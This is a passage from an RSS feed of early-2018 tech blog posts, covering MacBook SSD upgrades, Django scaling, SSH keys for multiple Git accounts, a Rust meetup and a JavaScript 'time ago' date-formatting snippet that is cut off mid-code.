if you like them and they produce useful messages for you.&lt;/li&gt;
  &lt;li&gt;Use Hamcrest matchers if there’s no good assertion method. If you can’t find
a Hamcrest matcher that you need, write your own (by subclassing BaseMatcher
or one of its children).&lt;/li&gt;
  &lt;li&gt;If it’s too complicated to write a matcher or you don’t plan on reusing it,
you can always fall back to &lt;code class="language-plaintext highlighter-rouge"&gt;assertTrue(message, condition)&lt;/code&gt; with a useful
message.&lt;/li&gt;
&lt;/ul&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Sat, 03 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/03/02/why-are-my-tests-failing.html</guid></item><item><title>Tools, glue, scripts, and automation on Unix</title><link>https://venam.net/blog/unix/2018/03/03/tools-glus-scripts-automation.html</link><description>Today we take for granted the concept of software as a tool but it didn't always exist. Mini-scripts, the interoperable programs, the small utilities for specific tasks, etc.  This is what we're going to discuss, where do they come from, the history, and a bit more.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Fri, 02 Mar 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2018/03/03/tools-glus-scripts-automation.html</guid></item><item><title>Embraco, firing people to make in a cheaper country the SAME, WRONG appliances</title><link>https://stop.zona-m.net/2018/03/embraco-firing-people-to-make-in-a-cheaper-country-the-same-wrong-appliances/</link><description>&lt;p&gt;Hundred of Embraco workers will very likely lose their jobs soon, because that company is moving production of its fridge compressors to Slovakia. Italian media, politicians and unions are (rightly) talking a lot of those workers. Almost nobody, however, is discussing what KIND of fridges and compressors should be produced, by Embraco or anybody else.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 02 Mar 2018 11:32:39 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/embraco-firing-people-to-make-in-a-cheaper-country-the-same-wrong-appliances/</guid></item><item><title>A Walkthrough of *that* React Suspense Demo</title><link>https://www.swyx.io/a-walkthrough-of-that-react-suspense-demo--4j6a</link><description>&lt;p&gt;Annotated commentary on the code behind the Movie search demo featuring React Suspense&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Fri, 02 Mar 2018 07:47:27 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/a-walkthrough-of-that-react-suspense-demo--4j6a</guid></item><item><title>How Much Faster Does a New SSD Make a 2012 MacBook Pro?</title><link>https://www.mikekasberg.com/blog/2018/03/01/how-much-faster-does-a-new-ssd-make-a-2012-macbook-pro.html</link><description>&lt;p&gt;How much faster does a new SSD make a 2012 MacBook Pro? &lt;strong&gt;A lot.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I recently upgraded a 2012 MacBook Pro with a new SSD, and I was &lt;em&gt;blown away&lt;/em&gt; by
the results. The computer was nearly unusable before the upgrade - it took
more than two minutes to boot and about 30 seconds to launch a program like
Chrome or Safari. (Although once it finally started, it wouldn’t be too bad to
do something simple like surf the web.) Apparently (as you’ll find in comments
all over the internet), lots of older MacBooks suffer from &lt;strong&gt;really slow
responsiveness&lt;/strong&gt; when running newer versions of macOS. Luckily, the problem can
be fixed pretty easily by replacing the OEM hard drive with an SSD – after the
fix, the MacBook Pro boots in about 25 seconds and launches programs almost
instantly. Overall, the SSD made the computer about &lt;strong&gt;four times faster&lt;/strong&gt; when
doing disk-bound operations like booting up or starting a program!&lt;/p&gt;

&lt;!--more--&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Operation&lt;/th&gt;
      &lt;th style="text-align: right;"&gt;HDD Time&lt;/th&gt;
      &lt;th style="text-align: right;"&gt;SSD Time&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Boot to login screen&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;1m 30s&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;25s&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Login (to desktop icons)&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;29s&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;8s&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Start Chrome&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;20s&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;4s&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;2m 19s&lt;/td&gt;
      &lt;td style="text-align: right;"&gt;38s&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Will this fix your old MacBook?&lt;/strong&gt; Probably. If your old computer has similar
symptoms (a long boot time and slowness when launching applications), and if
your old computer uses a traditional hard disk, an SSD is likely to give you
similar results to mine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you know what kind of hard drive you have?&lt;/strong&gt; One of the easiest ways to
know what kind of hard drive came with your Mac is to use the &lt;a href="https://everymac.com/ultimate-mac-lookup/"&gt;Ultimate Mac
Lookup&lt;/a&gt; tool provided by
EveryMac.com. Alternatively, look in your Mac’s System Report, as shown
&lt;a href="https://apple.stackexchange.com/questions/290329/how-to-know-whether-mac-has-ssd-or-hdd-installed"&gt;here&lt;/a&gt;.
If your storage says &lt;code class="language-plaintext highlighter-rouge"&gt;HDD&lt;/code&gt;, you have a traditional hard disk. If your storage
says &lt;code class="language-plaintext highlighter-rouge"&gt;SSD&lt;/code&gt;, you have an SSD.&lt;/p&gt;

&lt;h2 id="why-does-the-ssd-help-so-much"&gt;Why does the SSD help so much?&lt;/h2&gt;

&lt;p&gt;Second generation MacBook Pros (2008-2012) come with a 5400RPM hard disk, which
is basically a bottom-shelf hard disk by modern standards. The low performance
of the disk limits the speed that data can be read from or written to the disk.
Basically, the MacBook runs slow because it can’t load it’s operating system and
programs from the hard drive fast enough. This becomes really apparent on newer
versions of macOS, where the time needed to boot the OS or load an application
is really slow. In fact, the hard drive is so slow that it’s the biggest
bottleneck in the system.&lt;/p&gt;

&lt;p&gt;Fortunately, this is easy to fix with a simple hard drive upgrade. Disk I/O on
an SSD is more than &lt;a href="https://en.wikipedia.org/wiki/IOPS#Examples"&gt;100 times
faster&lt;/a&gt; than a 5400 RPM hard disk,
so replacing the disk with an SSD makes all the performance problems due to disk
I/O go away. The other components in the system weren’t the bottleneck, so the
system shows huge performance improvements simply by upgrading the hard disk.&lt;/p&gt;

&lt;h2 id="how-can-i-upgrade-my-own-macbook"&gt;How can I upgrade my own MacBook?&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Buy an SSD. Any SSD that’s 2.5” form factor should be easy to install in
place of the old hard drive.&lt;/li&gt;
  &lt;li&gt;Run a Time Machine backup to an external drive.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://support.apple.com/en-us/HT201372"&gt;Create a bootable macOS installer&lt;/a&gt;
on a USB stick. We’ll use this to format our new drive and install the OS.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://guides.crucial.com/Guide/MacBook+Pro+13-Inch+Unibody+Mid+2012+SSD+Installation/649"&gt;Replace the hard drive&lt;/a&gt;
with the new SSD.&lt;/li&gt;
  &lt;li&gt;Boot the macOS installer USB stick, and open Disk Utility to format the new hard drive.
Format the disk as “Mac OS Extended (Journaled)”.&lt;/li&gt;
  &lt;li&gt;Now, use your USB stick again to install macOS. The installer will guide you
through restoring your backup.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SSDs aren’t terribly expensive these days, so an upgrade like this one could
breathe life into your old laptop for as little as about $30 (up to about $120
depending on your storage needs). That’s a pretty good deal, and could be the
perfect solution if your slow computer’s driving you nuts but you’re not ready
to drop $1,200 on a new MacBook yet.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Fri, 02 Mar 2018 03:20:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/03/01/how-much-faster-does-a-new-ssd-make-a-2012-macbook-pro.html</guid></item><item><title>LaTeX Skeleton</title><link>https://michael.mior.ca/blog/latex-skeleton/</link><description>&lt;p&gt;A repeated task I run into when I start working on a new paper is the laying out the initial structure of the repository to store the paper text.
I recently pushed &lt;a href="https://github.com/michaelmior/latex-skeleton"&gt;a simple skeleton&lt;/a&gt; that I use a starting point to GitHub.
There’s nothing really fancy here, but it’s a good starting point.
I use &lt;a href="https://mg.readthedocs.io/latexmk.html"&gt;latexmk&lt;/a&gt; to build all my documents since it takes care of running BibTeX among other things.
One of the nice other things is that it will automatically try to use &lt;code&gt;make&lt;/code&gt; to build any missing files.
The repository basically consists of a &lt;code&gt;Makefile&lt;/code&gt; that generates the paper along with a simple LaTeX skeleton and an empty BibTeX file.
Hope it might be helpful to someone else!&lt;/p&gt;</description><author>Michael Mior</author><pubDate>Fri, 02 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://michael.mior.ca/blog/latex-skeleton/</guid></item><item><title>Scaling Django Codebases at PyCon UK 2017</title><link>https://3059274a.danpalmer-me.pages.dev/2018-03-02-scaling-django-codebases/</link><description>&lt;p&gt;Four of us from the Thread engineering team went to PyCon UK again in
September for the third year running, and I was lucky enough to have my talk
selected.&lt;/p&gt;
&lt;p&gt;At Thread we use Django for the backend of the main site which has grown to over
350 &lt;a href="https://docs.djangoproject.com/en/2.0/ref/applications/"&gt;“apps”&lt;/a&gt;, and various members of the team have used the framework since
not long after the initial public release.&lt;/p&gt;
&lt;p&gt;I’ve learnt many tips, tricks, and best practices for keeping engineers
productive on a codebase of this size from my colleagues over the years, and I
shared the highlights with the Python community in September.&lt;/p&gt;</description><author>Dan Palmer</author><pubDate>Fri, 02 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2018-03-02-scaling-django-codebases/</guid></item><item><title>The Social Transformation of American Medicine</title><link>https://macleodsawyer.com/library/social-transformation-american-medicine/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Thu, 01 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/library/social-transformation-american-medicine/</guid></item><item><title>Kids – don’t break your computer</title><link>https://yasha.solutions/kids-dont-break-your-computer/</link><description>Kids dont break your computer.
Just broke mine.
It’s a pain.
If you break stuff however, I found an awesome channel to learn about computer repair.
Louis RossmannCheck it out.</description><author>Yasha Solutions</author><pubDate>Thu, 01 Mar 2018 12:26:54 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/kids-dont-break-your-computer/</guid></item><item><title>The question nobody asked that Ghana teacher</title><link>https://stop.zona-m.net/2018/03/the-question-nobody-asked-that-ghana-teacher/</link><description>&lt;p&gt;The Internet is going wild about a Ghana teacher who is teaching how to pass a Microsoft Word examination test using only a blackboard. As far as I can tell, however, so far nobody asked him (and the Ghana government, of course) this specific question:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 01 Mar 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-question-nobody-asked-that-ghana-teacher/</guid></item><item><title>Have fun with Unix</title><link>https://codeexplainer.wordpress.com/2018/03/01/have-fun-with-unix/</link><description>Just one line of code, but lots of confusion.  What does this program do? Who wrote this code? The code won the &amp;#8220;Best One-Liner&amp;#8221; prize at the IOCCC in 1984.  It was written by David Korn, who is also the &amp;#8230; &lt;a href="https://codeexplainer.wordpress.com/2018/03/01/have-fun-with-unix/"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Code Explainer</author><pubDate>Thu, 01 Mar 2018 10:09:54 GMT</pubDate><guid isPermaLink="true">https://codeexplainer.wordpress.com/2018/03/01/have-fun-with-unix/</guid></item><item><title>Licensechecker. A command line application which identifies what software license things are under</title><link>https://boyter.org/2018/03/licensechecker-command-line-application-identifies-software-license/</link><description>&lt;p&gt;A simple blog post here to introduce a new command line tool licensechecker (lc), which is similar in purpose to the library Licensee &lt;a href="http://ben.balter.com/licensee/"&gt;http://ben.balter.com/licensee/&lt;/a&gt; which attempts to identify what software license(s) code is released under. lc itself is dual licensed under the MIT and Unlicense.&lt;/p&gt;
&lt;p&gt;Licensechecker (lc) was designed to be run either on your command line or using your CI tool of choice and produce either CSV, JSON, SPDX, Summary or CLI tabular or progress output with the option to write results to disk. It is reasonably fast and is cross platform with binaries for x64 versions of Linux, macOS and Windows. The build process also ensures that it builds on ARM and i386.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 01 Mar 2018 09:24:29 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2018/03/licensechecker-command-line-application-identifies-software-license/</guid></item><item><title>The science of genetics-based dating is dubious at best. If you are lucky</title><link>https://stop.zona-m.net/2018/03/the-science-of-genetics-based-dating-is-dubious-at-best.-if-you-are-lucky/</link><description>&lt;p&gt;Wired &lt;a href="https://www.wired.com/story/with-this-dna-dating-app-you-swab-then-swipe-for-love"&gt;reports&lt;/a&gt; that a new dating app sends users a swab kit in order to &amp;ldquo;match potential mates based on genetic and social compatibility&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 01 Mar 2018 09:08:20 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-science-of-genetics-based-dating-is-dubious-at-best.-if-you-are-lucky/</guid></item><item><title>Denver Rust Meetup Reactivated</title><link>https://peterlyons.com/problog/2018/03/denver-rust-meetup-reactivated/</link><description>&lt;p&gt;So I just went to my first meetup of the Denver/Boulder Rust meetup group. The group has been around a while but went inactive for over a year. I was and am really excited to get it going again. The meetup went really well! We had about 20 attendees and folks seemed pretty engaged and interested. One of our planned speakers canceled at the last minute due to a family emergency, but Joel Dice and I just did what software developers normally do: expand time spent to fill up time allocated! Just kidding (kind of)! Actually, I only went 4 minutes over my 20 minute slot which for me was a personal best as without multiple practices my default length for "talk about tech topic X" is 90 minutes before I start too realize I'm talking too long.&lt;/p&gt;
&lt;p&gt;After the talks we grouped up to work on stuff and I paired with &lt;a href="https://twitter.com/DebugSteven"&gt;@DebugSteven&lt;/a&gt; on trying to get the rustdoc HTML docs to stay collapsed if you click the collapser minus sign and reload the page (currently they forget and show up expanded again). We got a simple change coded and I'll be submitting a pull request shortly. Well, maybe not so shortly because it seems the &lt;code&gt;main.js&lt;/code&gt; file we changed is actually part of the main "rust" repo with the entire language and a bunch of other tools. So even for me to do a &lt;code&gt;python x.py doc&lt;/code&gt; seems to required several CPU-hours of compilation.&lt;/p&gt;
&lt;p&gt;I ordered too much food. I knew I was going to. On the phone I thought "I'm about to order too much food". Then I hung up and thought "I just ordered too much food". I don't really know how this works, but luckily folks were willing to take all the leftovers home so I didn't end up having to deal with that.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 01 Mar 2018 08:45:50 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/03/denver-rust-meetup-reactivated/</guid></item><item><title>The Long Road to Async/Await in JavaScript at SF Node</title><link>https://thomashunter.name/posts/2018-03-01-async-await-javascript-sfnode</link><author>Thomas Hunter II</author><pubDate>Thu, 01 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-01-async-await-javascript-sfnode</guid></item><item><title>Separate SSH Key for different Gitlab/Github accounts</title><link>https://www.wints.org/notes/2018.03.01/</link><description>&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;
I have one Gitlab account for personal and one for company use. To make sure my commits line up correctly with the email used in the SSH keys, I decided to have separate SSH keys for each account.
The way it works is you need to create two sets (public and private) of keys. And then modify the SSH config and git config to get them to work.&lt;/p&gt;
&lt;h5 id="generating-ssh-keys"&gt;Generating SSH Keys &lt;a href="#generating-ssh-keys"&gt;¶&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;I&amp;rsquo;m doing this on a Lubuntu machine. These may also work on an OSX machine.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Thu, 01 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2018.03.01/</guid></item><item><title>Talks</title><link>https://badshah.io/talks/</link><description>List of slidedecks and videos of my talks in past:
2025 Cloud Breach Tactics: Enumeration to Initial Access (Workshop @ Vulncon) [Slides] LLMs from Scratch for Security Engineers (Talk @ SecurityBoat Community) [Video] [Slides] 2024 With infinite scale comes infinite bill (and bankruptcy) (Talk @ Rootconf 2024) [Video] Well, it&amp;rsquo;s just an AWS Account ID! (Online Talk @ Null Coimbatore) [Slides] Securing the Cloud: Detecting and Reporting Sensitive Data in ECR Images (Talk @ BSides Goa 2024) [Slides] 2022 Automating Cloud Security - AWS Edition (Workshop @ BSides Delhi 2022) [Slides] CSPM Using Open Source Tools [Slides] Past Detecting secrets in code committed to Gitlab (in real time) [Slides] [Video] How to get started in InfoSec (intended for students) [Slides] Offensive OSINT mindset to defend your organization [Slides] Solving OWASP MSTG CrackMe using Frida [Slides] OWASP Serverless Top 10 [Slides] Pentesting Android Apps using Frida (Beginners) [Slides] Let’s hunt the target using OSINT [Slides] pwnd.</description><author>Chandrapal Badshah | Cloud Security Consultant for Startups on Chandrapal Badshah</author><pubDate>Wed, 28 Feb 2018 20:30:00 GMT</pubDate><guid isPermaLink="true">https://badshah.io/talks/</guid></item><item><title>Father of school shooting victim fights conspiracy theories with censorship</title><link>https://stop.zona-m.net/2018/02/father-of-school-shooting-victim-fights-conspiracy-theories-with-censorship/</link><description>&lt;p&gt;I sincerely apologize for the clickbait title, but sometimes you really can&amp;rsquo;t avoid them.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 28 Feb 2018 13:08:20 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/father-of-school-shooting-victim-fights-conspiracy-theories-with-censorship/</guid></item><item><title>The 5 Stages of Experiment Analysis</title><link>https://blog.harterrt.com/stages_e13n.html</link><description>&lt;p&gt;I've been thinking about experimentation a lot recently.
Our team is spending a lot of effort trying to make Firefox experimentation feel easy.
But what happens after the experiment's been run?
There's &lt;strong&gt;not a clear process for taking experimental data and turning it into a decision&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I noted the importance …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Wed, 28 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/stages_e13n.html</guid></item><item><title>JavaScript 'time ago' function</title><link>https://muffinman.io/blog/javascript-time-ago-function/</link><description>&lt;article class="article"&gt;&lt;p&gt;Snippet for a rather popular requirement.
Formatting a date in a nice way, using infamous &amp;quot;time ago&amp;quot; function.
This is the basic version which I adapt to fit a specific project.
To keep it easily customizable to your needs, I haven&amp;#x27;t packaged it up.&lt;/p&gt;
&lt;p&gt;Just pass a date to it, and function will return one of the seven possible formats:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;now&lt;/code&gt; - if no more than five seconds elapsed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;about a minute ago&lt;/code&gt; - in no more than ninety seconds elapsed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;24 minutes ago&lt;/code&gt; - for anything in the last hour&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Today at 11:19&lt;/code&gt; - for today&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Yesterday at 7:32&lt;/code&gt; - for yesterday&lt;/li&gt;
&lt;li&gt;&lt;code&gt;15. February at 17:45&lt;/code&gt; - for dates in the current year&lt;/li&gt;
&lt;li&gt;&lt;code&gt;23. October 2017. at 0:59&lt;/code&gt; - for anything else&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Feel free to play with it and add more cases if you need them.&lt;/p&gt;
&lt;h2 id="code"&gt;Code &lt;a class="anchor-link" href="#code"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token constant"&gt;MONTH_NAMES&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;January&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;February&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;March&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;April&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;May&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;June&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;July&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;August&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;September&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;October&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;November&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;December&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token function"&gt;getFormattedDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token parameter"&gt;date&lt;span class="token punctuation"&gt;,&lt;/span&gt; prefomattedDate &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; hideYear &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; day &lt;span class="token operator"&gt;=&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getDate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; month &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token constant"&gt;MONTH_NAMES&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getMonth&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; year &lt;span class="token operator"&gt;=&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getFullYear&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; hours &lt;span class="token operator"&gt;=&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getHours&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;let&lt;/span&gt; minutes &lt;span class="token operator"&gt;=&lt;/span&gt; date&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getMinutes&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;minutes &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt; &lt;span class="token number"&gt;10&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// Adding leading zero to minutes&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    minutes &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token string"&gt;0&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; minutes &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;prefomattedDate&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// Today at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// Yesterday at 10:20&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; prefomattedDate &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; at &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; hours &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;:&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; minutes &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;hideYear&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token comment"&gt;// 10. January at 10:20&lt;/span&gt;
